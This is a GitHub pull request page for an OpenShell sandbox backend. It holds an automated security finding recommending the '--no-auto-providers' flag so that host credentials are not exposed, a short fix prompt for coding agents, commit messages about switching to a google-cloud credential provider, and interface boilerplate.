Security (CWE-522): Without --no-auto-providers, OpenShell may auto-discover/attach additional local credential providers even when --provider is explicitly set, broadening the host credentials available inside the sandbox. Exploit: code running in the sandbox can exfiltrate those extra credentials from the environment.
Remediation (src/agentic_ci/backends/openshell/sandbox.py, lines 19-30):
args = [
"openshell",
"sandbox",
"create",
"--name",
SANDBOX_NAME,
"--no-tty",
"--no-auto-providers",
"--provider",
PROVIDER_NAME,
]🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.
In `@src/agentic_ci/backends/openshell/sandbox.py` around lines 19 - 30, In the
create function that builds the OpenShell CLI args (function create in
src/agentic_ci/backends/openshell/sandbox.py), add the "--no-auto-providers"
flag to the argument list used for "openshell sandbox create" so that when
"--provider" is specified OpenShell will not auto-attach ambient/auto-discovered
providers; update the args array construction (the list containing "openshell",
"sandbox", "create", "--name", SANDBOX_NAME, "--no-tty", "--provider",
PROVIDER_NAME) to include "--no-auto-providers" immediately before "--provider".
Source: Coding guidelines
mprpic
force-pushed
the
openshell-provider-refactor
branch
7 times, most recently
from
314c2f4 to
3b7c5d4
Compare
Replace the google-vertex-ai provider + inference.local proxy with the new google-cloud provider type. The supervisor proxy now injects GCP credentials directly into the sandbox, and agents use their native Vertex AI integration — no inference.local routing needed. Key changes: - Switch provider type from google-vertex-ai to google-cloud with --from-gcloud-adc (works with both user OAuth and service account keys) - Remove providers_v2, inference routing, and model normalization — the agent handles model resolution natively - Add Vertex AI, OAuth, and Anthropic API endpoints to default network policy so agents can reach APIs directly from the sandbox - Remove inference_local_base_url and sandbox_model_prefix from harnesses (dead code with the new approach) - Deregister gateway name on stop to prevent "already exists" errors - Use tempfile for gateway log, regex for PID extraction from ss output - Scope pkill to our specific podman socket path - Overwrite stale gateway.toml when config content changes Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com> Signed-off-by: Martin Prpič <mprpic@redhat.com>
mprpic
force-pushed
the
openshell-provider-refactor
branch
from
3b7c5d4 to
8fb0d31
Compare
EmilienM
approved these changes
Jun 9, 2026
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
2 participants
Add this suggestion to a batch that can be applied as a single commit.This suggestion is invalid because no changes were made to the code.Suggestions cannot be applied while the pull request is closed.Suggestions cannot be applied while viewing a subset of changes.Only one suggestion per line can be applied in a batch.Add this suggestion to a batch that can be applied as a single commit.Applying suggestions on deleted lines is not supported.You must change the existing code in this line in order to create a valid suggestion.Outdated suggestions cannot be applied.This suggestion has been applied or marked resolved.Suggestions cannot be applied from pending reviews.Suggestions cannot be applied on multi-line comments.Suggestions cannot be applied while the pull request is queued to merge.Suggestion cannot be applied right now. Please check back later.
Replace direct credential upload with OpenShell's provider and inference.local proxy. The gateway now manages credential injection transparently; agents inside the sandbox never see real API keys.
Key changes:
Summary by CodeRabbit
Documentation
Improvements
Bug Fixes
Tests